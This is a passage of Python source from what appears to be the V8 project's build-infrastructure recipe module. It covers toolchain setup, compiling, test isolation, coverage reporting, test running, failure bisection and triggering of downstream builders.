self.m.chromium.c.compile_py.compiler.startswith('goma')):\n # Only ensure goma if we want to use it. Otherwise it might break bots\n # that don't support the goma executables.\n self.m.chromium.ensure_goma()\n env = {}\n # TODO(machenbach): Remove this after mb migration.\n if self.c.gyp_env.AR:\n env['AR'] = self.c.gyp_env.AR\n if self.c.gyp_env.CC:\n env['CC'] = self.c.gyp_env.CC\n if self.c.gyp_env.CXX:\n env['CXX'] = self.c.gyp_env.CXX\n if self.c.gyp_env.LINK:\n env['LINK'] = self.c.gyp_env.LINK\n if self.c.gyp_env.RANLIB:\n env['RANLIB'] = self.c.gyp_env.RANLIB\n if self.m.chromium.c.project_generator.tool != 'gyp':\n env['GYP_CHROMIUM_NO_ACTION'] = 1\n else:\n env['GYP_CHROMIUM_NO_ACTION'] = 0\n self.m.chromium.runhooks(env=env, **kwargs)\n\n @contextlib.contextmanager\n def _temp_dir(self, path):\n try:\n self.m.file.makedirs('for peeking gn', path)\n yield\n finally:\n self.m.shutil.rmtree(path, infra_step=True)\n\n def peek_gn(self):\n \"\"\"Runs gn and compares flags with gyp (fyi only).\"\"\"\n gyp_build_dir = self.m.chromium.c.build_dir.join(\n self.m.chromium.c.build_config_fs)\n gn_build_dir = self.m.chromium.c.build_dir.join('gn')\n with self._temp_dir(gn_build_dir):\n step_result = self.m.python(\n name='patch mb config (fyi)',\n script=self.resource('patch_mb_config.py'),\n args=[\n self.m.path['checkout'].join('infra', 'mb', 'mb_config.pyl'),\n self.m.raw_io.output_text(),\n ],\n step_test_data=lambda: self.m.raw_io.test_api.output_text('[mb config]'),\n ok_ret='any',\n )\n use_goma = (self.m.chromium.c.compile_py.compiler and\n 'goma' in self.m.chromium.c.compile_py.compiler)\n self.m.chromium.run_mb(\n self.m.properties['mastername'],\n self.m.properties['buildername'],\n name='generate_build_files with gn (fyi)',\n use_goma=use_goma,\n mb_config_path=self.m.raw_io.input_text(step_result.raw_io.output_text),\n build_dir=gn_build_dir,\n ok_ret='any',\n )\n self.m.python(\n 'compare build flags (fyi)',\n self.m.path['checkout'].join('tools', 'gyp_flag_compare.py'),\n [gn_build_dir, gyp_build_dir, 'all', 'all'],\n ok_ret='any',\n )\n\n def setup_mips_toolchain(self):\n mips_dir = self.m.path['start_dir'].join(MIPS_DIR, 'bin')\n if not self.m.path.exists(mips_dir):\n self.m.gsutil.download_url(\n 'gs://chromium-v8/%s' % MIPS_TOOLCHAIN,\n self.m.path['start_dir'],\n name='bootstrapping mips toolchain')\n with self.m.context(cwd=self.m.path['start_dir']):\n self.m.step('unzipping', ['tar', 'xf', MIPS_TOOLCHAIN])\n\n self.c.gyp_env.CC = self.m.path.join(mips_dir, 'mips-mti-linux-gnu-gcc')\n self.c.gyp_env.CXX = self.m.path.join(mips_dir, 'mips-mti-linux-gnu-g++')\n self.c.gyp_env.AR = self.m.path.join(mips_dir, 'mips-mti-linux-gnu-ar')\n self.c.gyp_env.RANLIB = self.m.path.join(\n mips_dir, 'mips-mti-linux-gnu-ranlib')\n self.c.gyp_env.LINK = self.m.path.join(mips_dir, 'mips-mti-linux-gnu-g++')\n\n @property\n def bot_type(self):\n return self.bot_config.get('bot_type', 'builder_tester')\n\n @property\n def should_build(self):\n return self.bot_type in ['builder', 'builder_tester']\n\n @property\n def should_test(self):\n return self.bot_type in ['tester', 'builder_tester']\n\n @property\n def should_upload_build(self):\n return (self.bot_type == 'builder' and\n not self.bot_config.get('slim_swarming_builder'))\n\n @property\n def should_download_build(self):\n return self.bot_type == 'tester'\n\n @property\n def relative_path_to_d8(self):\n return self.m.path.join('out', self.m.chromium.c.build_config_fs, 'd8')\n\n def isolate_tests(self):\n if self.bot_config.get('enable_swarming'):\n buildername = self.m.properties['buildername']\n tests_to_isolate = []\n def add_tests_to_isolate(tests):\n for test in tests:\n if not test.swarming: # pragma: no cover\n # Skip tests that explicitly disable swarming.\n continue\n config = testing.TEST_CONFIGS.get(test.name) or {}\n\n # Tests either define an explicit isolate target or use the test\n # names for convenience.\n if config.get('isolated_target'):\n tests_to_isolate.append(config['isolated_target'])\n elif config.get('tests'):\n tests_to_isolate.extend(config['tests'])\n\n # Find tests to isolate on builders.\n for _, _, _, bot_config in iter_builders():\n if bot_config.get('parent_buildername') == buildername:\n add_tests_to_isolate(bot_config.get('tests', []))\n\n # Find tests to isolate on builder_testers.\n add_tests_to_isolate(self.bot_config.get('tests', []))\n\n # Add the performance-tests isolate everywhere, where the perf-bot proxy\n # is triggered.\n if self.bot_config.get('triggers_proxy', False):\n tests_to_isolate.append('perf')\n\n if tests_to_isolate:\n self.m.isolate.isolate_tests(\n self.m.chromium.output_dir,\n targets=sorted(list(set(tests_to_isolate))),\n verbose=True,\n set_swarm_hashes=False,\n )\n if self.should_upload_build:\n # TODO(machenbach): Deprecate in favor of method below.\n self.upload_isolated_json()\n self.upload_isolated_json_generic()\n\n def _update_build_environment(self, mb_output):\n \"\"\"Sets the build_environment property based on gyp or gn properties in mb\n output.\n \"\"\"\n self.build_environment = {}\n # Get the client's gyp flags from MB's output. Group 1 captures with posix,\n # group 2 with windows output semantics.\n #\n # Posix:\n # GYP_DEFINES='foo=1 path=a/b/c'\n #\n # Windows:\n # set GYP_DEFINES=foo=1 path='a/b/c'\n # TODO(machenbach): Remove the gyp case after gyp is deprecated.\n for match in re.finditer(\n '^(?:set )?GYP_([^=]*)=(?:(?:\\'(.*)\\')|(?:(.*)))$', mb_output, re.M):\n # Yield the property name (e.g. GYP_DEFINES) and the value. Either the\n # windows or the posix group matches.\n self.build_environment['GYP_' + match.group(1)] = (\n match.group(2) or match.group(3))\n\n if 'GYP_DEFINES' in self.build_environment:\n # Filter out gomadir.\n self.build_environment['GYP_DEFINES'] = ' '.join(\n d for d in self.build_environment['GYP_DEFINES'].split()\n if not d.startswith('gomadir')\n )\n\n # Check if the output looks like gn. Space-join all gn args, except\n # goma_dir.\n # TODO(machenbach): Instead of scanning the output, we could also read\n # the gn.args file that was written.\n match = re.search(r'Writing \"\"\"\\\\?\\s*(.*)\"\"\" to ', mb_output, re.S)\n if match:\n self.build_environment['gn_args'] = ' '.join(\n l for l in match.group(1).strip().splitlines()\n if not l.startswith('goma_dir'))\n\n def _upload_build_dependencies(self, deps):\n values = {\n 'ext_h_avg_deps': deps['by_extension']['h']['avg_deps'],\n 'ext_h_top100_avg_deps': deps['by_extension']['h']['top100_avg_deps'],\n 'ext_h_top200_avg_deps': deps['by_extension']['h']['top200_avg_deps'],\n 'ext_h_top500_avg_deps': deps['by_extension']['h']['top500_avg_deps'],\n }\n points = []\n root = '/'.join([\n 'v8.infra',\n 'build_dependencies',\n '',\n ])\n for k, v in values.iteritems():\n p = self.m.perf_dashboard.get_skeleton_point(\n root + k, self.revision_number, str(v))\n p['units'] = 'count'\n p['supplemental_columns'] = {\n 'a_default_rev': 'r_v8_git',\n 'r_v8_git': self.revision,\n }\n points.append(p)\n if points:\n self.m.perf_dashboard.add_point(points)\n\n def compile(self, **kwargs):\n if self.m.chromium.c.project_generator.tool == 'mb':\n use_goma = (self.m.chromium.c.compile_py.compiler and\n 'goma' in self.m.chromium.c.compile_py.compiler)\n def step_test_data():\n # Fake gyp flags.\n # TODO(machenbach): Replace with gn args after the gn migration.\n return self.m.raw_io.test_api.stream_output(\n 'some line\\n'\n 'GYP_DEFINES=\\'target_arch=x64 cool_flag=a=1\\'\\n'\n 'moar\\n'\n )\n try:\n self.m.chromium.run_mb(\n self.m.properties['mastername'],\n self.m.properties['buildername'],\n use_goma=use_goma,\n mb_config_path=self.m.path['checkout'].join(\n 'infra', 'mb', 'mb_config.pyl'),\n gyp_script=self.m.path.join('gypfiles', 'gyp_v8'),\n stdout=self.m.raw_io.output_text(),\n step_test_data=step_test_data,\n )\n finally:\n # Log captured output.\n self.m.step.active_result.presentation.logs['stdout'] = (\n self.m.step.active_result.stdout.splitlines())\n\n # Update the build environment dictionary, which is printed to the\n # user on test failures for easier build reproduction.\n self._update_build_environment(self.m.step.active_result.stdout)\n\n self.peek_gn()\n if self.m.properties['buildername'] != 'V8 Mips - builder':\n kwargs['use_goma_module'] = True\n self.m.chromium.compile(**kwargs)\n\n if self.bot_config.get('track_build_dependencies', False):\n deps = self.m.python(\n name='track build dependencies (fyi)',\n script=self.resource('build-dep-stats.py'),\n args=[\n '-C', self.m.chromium.c.build_dir.join(\n self.m.chromium.c.build_config_fs),\n '-x', '/third_party/',\n '-o', self.m.json.output(),\n ],\n step_test_data=lambda: self.test_api.example_build_dependencies(),\n ok_ret='any',\n ).json.output\n if deps:\n self._upload_build_dependencies(deps)\n\n self.isolate_tests()\n\n # TODO(machenbach): This should move to a dynamorio module as soon as one\n # exists.\n def dr_compile(self):\n self.m.file.makedirs(\n 'Create Build Dir',\n self.m.path['start_dir'].join('dynamorio', 'build'))\n with self.m.context(\n cwd=self.m.path['start_dir'].join('dynamorio', 'build')):\n self.m.step(\n 'Configure Release x64 DynamoRIO',\n ['cmake', '..', '-DDEBUG=OFF'],\n )\n self.m.step(\n 'Compile Release x64 DynamoRIO',\n ['make', '-j5'],\n )\n\n @property\n def run_dynamorio(self):\n return self.m.gclient.c.solutions[-1].name == 'dynamorio'\n\n def upload_build(self, name_suffix='', archive=None):\n archive = archive or self.GS_ARCHIVES[self.bot_config['build_gs_archive']]\n self.m.archive.zip_and_upload_build(\n 'package build' + name_suffix,\n self.m.chromium.c.build_config_fs,\n archive,\n src_dir='v8')\n\n # TODO(machenbach): Deprecate in favor of method below.\n def upload_isolated_json(self):\n archive = self.GS_ARCHIVES[self.bot_config['build_gs_archive']]\n name = self.get_archive_name_pattern(use_swarming=True) % self.revision\n self.m.gsutil.upload(\n self.m.json.input(self.m.isolate.isolated_tests),\n # The gsutil module wants bucket paths without gs:// prefix.\n archive[len('gs://'):],\n name,\n args=['-a', 'public-read'],\n )\n\n def upload_isolated_json_generic(self):\n archive = 'chromium-v8/isolated/%s/%s' % (\n self.m.properties['mastername'],\n self.m.properties['buildername'],\n )\n self.m.gsutil.upload(\n self.m.json.input(self.m.isolate.isolated_tests),\n archive,\n '%s.json' % self.revision,\n args=['-a', 'public-read'],\n )\n\n def maybe_create_clusterfuzz_archive(self, update_step):\n if self.bot_config.get('cf_archive_build', False):\n self.m.archive.clusterfuzz_archive(\n revision_dir='v8',\n build_dir=self.m.chromium.c.build_dir.join(\n self.m.chromium.c.build_config_fs),\n update_properties=update_step.presentation.properties,\n gs_bucket=self.bot_config.get('cf_gs_bucket'),\n gs_acl=self.bot_config.get('cf_gs_acl'),\n archive_prefix=self.bot_config.get('cf_archive_name'),\n )\n\n def download_build(self, name_suffix='', archive=None):\n self.m.file.rmtree(\n 'build directory' + name_suffix,\n self.m.chromium.c.build_dir.join(self.m.chromium.c.build_config_fs))\n\n archive = archive or self.GS_ARCHIVES[self.bot_config['build_gs_archive']]\n self.m.archive.download_and_unzip_build(\n 'extract build' + name_suffix,\n self.m.chromium.c.build_config_fs,\n archive,\n src_dir='v8')\n\n def download_isolated_json(self, revision):\n archive = self.get_archive_url_pattern(use_swarming=True) % revision\n self.m.gsutil.download_url(\n archive,\n self.m.json.output(),\n name='download isolated json',\n step_test_data=lambda: self.m.json.test_api.output(\n {'bot_default': '[dummy hash for bisection]'}),\n )\n step_result = self.m.step.active_result\n self._isolated_tests_override = step_result.json.output\n\n @property\n def build_output_dir(self):\n return self.m.path.join(\n self.m.chromium.c.build_dir,\n self.m.chromium.c.build_config_fs,\n )\n\n @property\n def generate_gcov_coverage(self):\n return bool(self.bot_config.get('gcov_coverage_folder'))\n\n def init_gcov_coverage(self):\n \"\"\"Delete all gcov counter files.\"\"\"\n self.m.step(\n 'lcov zero counters',\n ['lcov', '--directory', self.build_output_dir, '--zerocounters'],\n )\n\n def upload_gcov_coverage_report(self):\n \"\"\"Capture coverage data and upload a report.\"\"\"\n coverage_dir = self.m.path.mkdtemp('gcov_coverage')\n report_dir = self.m.path.mkdtemp('gcov_coverage_html')\n output_file = self.m.path.join(coverage_dir, 'app.info')\n\n # Capture data from gcda and gcno files.\n self.m.step(\n 'lcov capture',\n [\n 'lcov',\n '--directory', self.build_output_dir,\n '--capture',\n '--output-file', output_file,\n ],\n )\n\n # Remove unwanted data.\n self.m.step(\n 'lcov remove',\n [\n 'lcov',\n '--directory', self.build_output_dir,\n '--remove', output_file,\n 'third_party/*',\n 'testing/gtest/*',\n 'testing/gmock/*',\n '/usr/include/*',\n '--output-file', output_file,\n ],\n )\n\n # Generate html report into a temp folder.\n self.m.step(\n 'genhtml',\n [\n 'genhtml',\n '--output-directory', report_dir,\n output_file,\n ],\n )\n\n # Upload report to google storage.\n dest = '%s/%s' % (self.bot_config['gcov_coverage_folder'], self.revision)\n result = self.m.gsutil(\n [\n '-m', 'cp', '-a', 'public-read', '-R', report_dir,\n 'gs://chromium-v8/%s' % dest,\n ],\n 'coverage report',\n )\n result.presentation.links['report'] = (\n 'https://storage.googleapis.com/chromium-v8/%s/index.html' % dest)\n\n @property\n def generate_sanitizer_coverage(self):\n return bool(self.bot_config.get('sanitizer_coverage_folder'))\n\n def create_coverage_context(self):\n if self.generate_sanitizer_coverage:\n return testing.SanitizerCoverageContext(self.m, self)\n else:\n return testing.NULL_COVERAGE\n\n def create_test(self, test):\n \"\"\"Wrapper that allows to shortcut common tests with their names.\n\n Returns: A runnable test instance.\n \"\"\"\n return testing.create_test(test, self.m, self)\n\n def create_tests(self):\n return [self.create_test(t) for t in self.bot_config.get('tests', [])]\n\n def is_pure_swarming_tester(self, tests):\n return (self.bot_type == 'tester' and\n self.bot_config.get('enable_swarming') and\n all(map(lambda x: x.uses_swarming, tests)))\n\n def runtests(self, tests):\n if self.extra_flags:\n result = self.m.step('Customized run with extra flags', cmd=None)\n result.presentation.step_text += ' '.join(self.extra_flags)\n assert all(re.match(r'[\\w\\-]*', x) for x in self.extra_flags), (\n 'no special characters allowed in extra flags')\n\n start_time_sec = self.m.time.time()\n test_results = testing.TestResults.empty()\n\n # Apply test filter.\n # TODO(machenbach): Track also the number of tests that ran and throw an\n # error if the overall number of tests from all steps was zero.\n tests = [t for t in tests if t.apply_filter()]\n\n swarming_tests = [t for t in tests if t.uses_swarming]\n non_swarming_tests = [t for t in tests if not t.uses_swarming]\n failed_tests = []\n\n # Creates a coverage context if coverage is tracked. Null object otherwise.\n coverage_context = self.create_coverage_context()\n\n # Make sure swarming triggers come first.\n # TODO(machenbach): Port this for rerun for bisection.\n for t in swarming_tests + non_swarming_tests:\n try:\n t.pre_run(coverage_context=coverage_context)\n except self.m.step.InfraFailure: # pragma: no cover\n raise\n except self.m.step.StepFailure: # pragma: no cover\n failed_tests.append(t)\n\n # Setup initial zero coverage after all swarming jobs are triggered.\n coverage_context.setup()\n\n # Make sure non-swarming tests are run before swarming results are\n # collected.\n for t in non_swarming_tests + swarming_tests:\n try:\n test_results += t.run(coverage_context=coverage_context)\n except self.m.step.InfraFailure: # pragma: no cover\n raise\n except self.m.step.StepFailure: # pragma: no cover\n failed_tests.append(t)\n\n # Upload accumulated coverage data.\n coverage_context.maybe_upload()\n\n if failed_tests:\n failed_tests_names = [t.name for t in failed_tests]\n raise self.m.step.StepFailure(\n '%d tests failed: %r' % (len(failed_tests), failed_tests_names))\n self.test_duration_sec = self.m.time.time() - start_time_sec\n return test_results\n\n def maybe_bisect(self, test_results):\n \"\"\"Build-local bisection for one failure.\"\"\"\n # Don't activate for branch or fyi bots.\n if self.m.properties['mastername'] not in ['client.v8', 'client.v8.ports']:\n return\n\n if self.bot_config.get('disable_auto_bisect'): # pragma: no cover\n return\n\n # Only bisect over failures not flakes. Rerun only the fastest test.\n try:\n failure = min(test_results.failures, key=lambda r: r.duration)\n except ValueError:\n return\n\n # Only bisect if the fastest failure is significantly faster than the\n # ongoing build's total.\n duration_factor = self.m.properties.get(\n 'bisect_duration_factor', BISECT_DURATION_FACTOR)\n if (failure.duration * duration_factor > self.test_duration_sec):\n step_result = self.m.step(\n 'Bisection disabled - test too slow', cmd=None)\n return\n\n # Don't retry failures during bisection.\n self.rerun_failures_count = 0\n\n # Suppress using shards to be able to rerun single tests.\n self.c.testing.may_shard = False\n\n # Only rebuild the target of the test to retry. Works only with ninja.\n targets = None\n if 'ninja' in self.m.chromium.c.gyp_env.GYP_GENERATORS:\n targets = [failure.failure_dict.get('target_name', 'All')]\n\n test = self.create_test(failure.test_step_config)\n def test_func(revision):\n return test.rerun(failure_dict=failure.failure_dict)\n\n def is_bad(revision):\n with self.m.step.nest('Bisect ' + revision[:8]):\n if not self.is_pure_swarming_tester([test]):\n self.checkout(revision, update_presentation=False)\n if self.bot_type == 'builder_tester':\n self.runhooks()\n self.compile(targets=targets)\n elif self.bot_type == 'tester':\n if test.uses_swarming:\n self.download_isolated_json(revision)\n else: # pragma: no cover\n raise self.m.step.InfraFailure('Swarming required for bisect.')\n else: # pragma: no cover\n raise self.m.step.InfraFailure(\n 'Bot type %s not supported.' % self.bot_type)\n result = test_func(revision)\n if result.infra_failures: # pragma: no cover\n raise self.m.step.InfraFailure(\n 'Cannot continue bisection due to infra failures.')\n return result.failures\n\n with self.m.step.nest('Bisect'):\n # Setup bisection range (\"from\" exclusive).\n latest_previous, bisect_range = self.get_change_range()\n if len(bisect_range) <= 1:\n self.m.step('disabled - less than two changes', cmd=None)\n return\n\n if self.bot_type == 'tester':\n # Filter the bisect range to the revisions for which isolate hashes or\n # archived builds are available, depending on whether swarming is used\n # or not.\n available_bisect_range = self.get_available_range(\n bisect_range, test.uses_swarming)\n else:\n available_bisect_range = bisect_range\n\n if is_bad(latest_previous):\n # If latest_previous is already \"bad\", the test failed before the current\n # build's change range, i.e. it is a recurring failure.\n # TODO: Try to be smarter here, fetch the build data from the previous\n # one or two builds and check if the failure happened in revision\n # latest_previous. Otherwise, the cost of calling is_bad is as much as\n # one bisect step.\n step_result = self.m.step(\n 'Bisection disabled - recurring failure', cmd=None)\n step_result.presentation.status = self.m.step.WARNING\n return\n\n # Log available revisions to ease debugging.\n self.log_available_range(available_bisect_range)\n\n culprit = bisection.keyed_bisect(available_bisect_range, is_bad)\n culprit_range = self.calc_missing_values_in_sequence(\n bisect_range,\n available_bisect_range,\n culprit,\n )\n self.report_culprits(culprit_range)\n\n @staticmethod\n def format_duration(duration_in_seconds):\n duration = datetime.timedelta(seconds=duration_in_seconds)\n time = (datetime.datetime.min + duration).time()\n return time.strftime('%M:%S:') + '%03i' % int(time.microsecond / 1000)\n\n def _command_results_text(self, results, flaky):\n \"\"\"Returns log lines for all results of a unique command.\"\"\"\n assert results\n lines = []\n\n # Add common description for multiple runs.\n flaky_suffix = ' (flaky in a repeated run)' if flaky else ''\n lines.append('Test: %s%s' % (results[0]['name'], flaky_suffix))\n lines.append('Flags: %s' % ' '.join(results[0]['flags']))\n lines.append('Command: %s' % results[0]['command'])\n lines.append('')\n lines.append('Build environment:')\n build_environment = self.build_environment\n if build_environment is None:\n lines.append(\n 'Not available. Please look up the builder\\'s configuration.')\n else:\n for key in sorted(build_environment):\n lines.append(' %s: %s' % (key, build_environment[key]))\n lines.append('')\n\n # Add results for each run of a command.\n for result in sorted(results, key=lambda r: int(r['run'])):\n lines.append('Run #%d' % int(result['run']))\n lines.append('Exit code: %s' % result['exit_code'])\n lines.append('Result: %s' % result['result'])\n if result.get('expected'):\n lines.append('Expected outcomes: %s' % \", \".join(result['expected']))\n lines.append('Duration: %s' % V8Api.format_duration(result['duration']))\n lines.append('')\n if result['stdout']:\n lines.append('Stdout:')\n lines.extend(result['stdout'].splitlines())\n lines.append('')\n if result['stderr']:\n lines.append('Stderr:')\n lines.extend(result['stderr'].splitlines())\n lines.append('')\n return lines\n\n def _duration_results_text(self, test):\n return [\n 'Test: %s' % test['name'],\n 'Flags: %s' % ' '.join(test['flags']),\n 'Command: %s' % test['command'],\n 'Duration: %s' % V8Api.format_duration(test['duration']),\n ]\n\n def _update_durations(self, output, presentation):\n # Slowest tests duration summary.\n lines = []\n for test in output['slowest_tests']:\n suffix = ''\n if test.get('marked_slow') is False:\n suffix = ' *'\n lines.append(\n '%s %s%s' % (V8Api.format_duration(test['duration']),\n test['name'], suffix))\n\n # Slowest tests duration details.\n lines.extend(['', 'Details:', ''])\n for test in output['slowest_tests']:\n lines.extend(self._duration_results_text(test))\n presentation.logs['durations'] = lines\n\n def _get_failure_logs(self, output, failure_factory):\n def all_same(items):\n return all(x == items[0] for x in items)\n\n if not output['results']:\n return {}, [], {}, []\n\n unique_results = {}\n for result in output['results']:\n # Use test base name as UI label (without suite and directory names).\n label = result['name'].split('/')[-1]\n # Truncate the label if it is still too long.\n if len(label) > MAX_LABEL_SIZE:\n label = label[:MAX_LABEL_SIZE - 2] + '..'\n # Group tests with the same label (usually the same test that ran under\n # different configurations).\n unique_results.setdefault(label, []).append(result)\n\n failure_log = {}\n flake_log = {}\n failures = []\n flakes = []\n for label in sorted(unique_results.keys()[:MAX_FAILURE_LOGS]):\n failure_lines = []\n flake_lines = []\n\n # Group results by command. The same command might have run multiple\n # times to detect flakes.\n results_per_command = {}\n for result in unique_results[label]:\n results_per_command.setdefault(result['command'], []).append(result)\n\n for command in results_per_command:\n # Determine flakiness. A test is flaky if not all results from a unique\n # command are the same (e.g. all 'FAIL').\n if all_same(map(lambda x: x['result'], results_per_command[command])):\n # This is a failure. Only add the data of the first run to the final\n # test results, as rerun data is not important for bisection.\n failure = results_per_command[command][0]\n failures.append(failure_factory(failure, failure['duration']))\n failure_lines += self._command_results_text(\n results_per_command[command], False)\n else:\n # This is a flake. Only add the data of the first run to the final\n # test results, as rerun data is not important for bisection.\n flake = results_per_command[command][0]\n flakes.append(failure_factory(flake, flake['duration']))\n flake_lines += self._command_results_text(\n results_per_command[command], True)\n\n if failure_lines:\n failure_log[label] = failure_lines\n if flake_lines:\n flake_log[label] = flake_lines\n\n return failure_log, failures, flake_log, flakes\n\n def _update_failure_presentation(self, log, failures, presentation):\n for label in sorted(log):\n presentation.logs[label] = log[label]\n\n if failures:\n # Number of failures.\n presentation.step_text += ('failures: %d
    ' % len(failures))\n\n @property\n def extra_flags(self):\n extra_flags = self.m.properties.get('extra_flags', '')\n if isinstance(extra_flags, basestring):\n extra_flags = extra_flags.split()\n assert isinstance(extra_flags, list) or isinstance(extra_flags, tuple)\n return list(extra_flags)\n\n def _with_extra_flags(self, args):\n \"\"\"Returns: the arguments with additional extra flags inserted.\n\n Extends a possibly existing extra flags option.\n \"\"\"\n if not self.extra_flags:\n return args\n\n options, args = TEST_RUNNER_PARSER.parse_known_args(args)\n\n if options.extra_flags:\n new_flags = [options.extra_flags] + self.extra_flags\n else:\n new_flags = self.extra_flags\n\n args.extend(['--extra-flags', ' '.join(new_flags)])\n return args\n\n @property\n def test_filter(self):\n return [f for f in self.m.properties.get('testfilter', [])\n if f != 'defaulttests']\n\n def _applied_test_filter(self, test):\n \"\"\"Returns: the list of test filters that match a test configuration.\"\"\"\n # V8 test filters always include the full suite name, followed\n # by more specific paths and possibly ending with a glob, e.g.:\n # 'mjsunit/regression/prefix*'.\n return [f for f in self.test_filter\n for t in test.get('suite_mapping', test['tests'])\n if f.startswith(t)]\n\n def _setup_test_runner(self, test, applied_test_filter, test_step_config):\n env = {}\n full_args = [\n '--progress=verbose',\n '--mode', self.m.chromium.c.build_config_fs,\n '--arch', self.m.chromium.c.gyp_env.GYP_DEFINES['v8_target_arch'],\n '--outdir', self.m.path.split(self.m.chromium.c.build_dir)[-1],\n '--buildbot',\n '--timeout=200',\n ]\n\n # On reruns, there's a fixed random seed set in the test configuration.\n if '--random-seed' not in test.get('test_args', []):\n full_args.append('--random-seed=%d' % self.testing_random_seed())\n\n # Either run tests as specified by the filter (trybots only) or as\n # specified by the test configuration.\n if applied_test_filter:\n full_args += applied_test_filter\n else:\n full_args += list(test['tests'])\n\n # Add test-specific test arguments.\n full_args += test.get('test_args', [])\n\n # Add builder-specific test arguments.\n full_args += self.c.testing.test_args\n\n # Add builder-, test- and step-specific variants.\n variants = self.bot_config.get('variants', testing.V8ExhaustiveVariants())\n variants += test.get('variants', variants)\n variants += test_step_config.variants\n full_args += variants.test_args\n\n # Add step-specific test arguments.\n full_args += test_step_config.test_args\n\n full_args = self._with_extra_flags(full_args)\n\n if self.run_dynamorio:\n drrun = self.m.path['start_dir'].join(\n 'dynamorio', 'build', 'bin64', 'drrun')\n full_args += [\n '--command_prefix',\n '%s -reset_every_nth_pending 0 --' % drrun,\n ]\n\n # Indicate whether DCHECKs were enabled.\n if self.m.chromium.c.gyp_env.GYP_DEFINES.get('dcheck_always_on') == 1:\n full_args.append('--dcheck-always-on')\n\n for gyp_flag in ['asan', 'cfi_vptr', 'tsan', 'msan']:\n if self.m.chromium.c.gyp_env.GYP_DEFINES.get(gyp_flag) == 1:\n full_args.append('--%s' % gyp_flag.replace('_', '-'))\n\n full_args += [\n '--rerun-failures-count=%d' % self.rerun_failures_count,\n ]\n return full_args, env\n\n def maybe_trigger(self, **additional_properties):\n triggers = self.bot_config.get('triggers', [])\n triggers_proxy = self.bot_config.get('triggers_proxy', False)\n if triggers or triggers_proxy:\n # Careful! Before adding new properties, note the following:\n # Triggered bots on CQ will either need new properties to be explicitly\n # whitelisted or their name should be prefixed with 'parent_'.\n properties = {\n 'parent_got_revision': self.revision,\n 'parent_got_revision_cp': self.revision_cp,\n }\n if self.m.tryserver.is_tryserver:\n properties.update(\n category=self.m.properties.get('category', 'manual_ts'),\n master=str(self.m.properties['master']),\n reason=str(self.m.properties.get('reason', 'ManualTS')),\n requester=str(self.m.properties['requester']),\n # On tryservers, set revision to the same as on the current bot,\n # as CQ expects builders and testers to match the revision field.\n revision=str(self.m.properties.get('revision', 'HEAD')),\n )\n for p in ['issue', 'patch_gerrit_url', 'patch_git_url', 'patch_issue',\n 'patch_project', 'patch_ref', 'patch_repository_url',\n 'patch_set', 'patch_storage', 'patchset', 'rietveld']:\n try:\n properties[p] = str(self.m.properties[p])\n except KeyError:\n pass\n else:\n # On non-tryservers, we can set the revision to whatever the\n # triggering builder checked out.\n properties['revision'] = self.revision\n\n if self.m.properties.get('testfilter'):\n properties.update(testfilter=list(self.m.properties['testfilter']))\n if self.m.properties.get('extra_flags'):\n properties.update(extra_flags=self.m.properties['extra_flags'])\n\n # TODO(machenbach): Also set meaningful buildbucket tags of triggering\n # parent.\n\n # Pass build environment to testers if it doesn't exceed buildbot's\n # limits.\n # TODO(machenbach): Remove the check in the after-buildbot age.\n if len(self.m.json.dumps(self.build_environment)) < 1024:\n properties['parent_build_environment'] = self.build_environment\n\n swarm_hashes = self.m.isolate.isolated_tests\n if swarm_hashes:\n properties['swarm_hashes'] = swarm_hashes\n properties.update(**additional_properties)\n self.m.trigger(*[{\n 'builder_name': builder_name,\n 'properties': properties,\n } for builder_name in triggers])\n\n if triggers_proxy:\n proxy_properties = {\n 'archive': self.GS_ARCHIVES[self.bot_config['build_gs_archive']],\n }\n proxy_properties.update(properties)\n self.m.trigger(*[{\n 'builder_name': 'v8_trigger_proxy',\n 'bucket': 'master.internal.client.v8',\n 'properties': proxy_properties,\n 'buildbot_changes': [{\n 'author': 'trigger_proxy',\n 'revision': self.revision,\n }]\n }])\n\n def get_change_range(self):\n if self.m.properties.get('override_changes'):\n # This can be used for manual testing or on a staging builder that\n # simulates a change range.\n changes = self.m.properties['override_changes']\n step_result = self.m.step('Override changes', cmd=None)\n step_result.presentation.logs['changes'] = self.m.json.dumps(\n changes, indent=2).splitlines()\n else:\n url = '%s/p/%s/builders/%s/builds/%s?json=1' % (\n CBE_URL,\n self.m.properties['mastername'],\n urllib.quote(self.m.properties['buildername']),\n str(self.m.properties['buildnumber']),\n )\n change_json = self.m.url.get_json(\n url,\n step_name='Fetch changes',\n default_test_data=self.test_api.example_buildbot_changes(),\n ).output\n changes = change_json['sourceStamp']['changes']\n\n assert changes\n first_change = changes[0]['revision']\n last_change = changes[-1]['revision']\n\n # Commits is a list of gitiles commit dicts in reverse chronological order.\n commits, _ = self.m.gitiles.log(\n url=V8_URL,\n ref='%s~2..%s' % (first_change, last_change),\n limit=100,\n step_name='Get change range',\n step_test_data=lambda: self.test_api.example_bisection_range()\n )\n\n # We get minimum two commits when the first and last commit are equal (i.e.\n # there was only one commit C). Commits will contain the latest previous\n # commit and C.\n assert len(commits) > 1\n\n return (\n # Latest previous.\n commits[-1]['commit'],\n # List of commits oldest -> newest, without the latest previous.\n [commit['commit'] for commit in reversed(commits[:-1])],\n )\n\n def get_archive_name_pattern(self, use_swarming):\n # For tests run on swarming, only lookup the json file with the isolate\n # hashes.\n suffix = 'json' if use_swarming else 'zip'\n\n return 'full-build-%s_%%s.%s' % (\n self.m.archive.legacy_platform_name(),\n suffix,\n )\n\n def get_archive_url_pattern(self, use_swarming):\n return '%s/%s' % (\n self.GS_ARCHIVES[self.bot_config['build_gs_archive']],\n self.get_archive_name_pattern(use_swarming),\n )\n\n def get_available_range(self, bisect_range, use_swarming=False):\n assert self.bot_type == 'tester'\n archive_url_pattern = self.get_archive_url_pattern(use_swarming)\n # TODO(machenbach): Maybe parallelize this in a wrapper script.\n args = ['ls']\n available_range = []\n # Check all builds except the last as we already know it is \"bad\".\n for r in bisect_range[:-1]:\n step_result = self.m.gsutil(\n args + [archive_url_pattern % r],\n name='check build %s' % r[:8],\n # Allow failures, as the tool will formally fail for any absent file.\n ok_ret='any',\n stdout=self.m.raw_io.output_text(),\n step_test_data=lambda: self.test_api.example_available_builds(r),\n )\n if r in step_result.stdout.strip():\n available_range.append(r)\n\n # Always keep the latest revision in the range. The latest build is\n # assumed to be \"bad\" and won't be tested again.\n available_range.append(bisect_range[-1])\n return available_range\n\n def calc_missing_values_in_sequence(\n self, sequence, subsequence, value):\n \"\"\"Calculate a list of missing values from a subsequence.\n\n Args:\n sequence: The 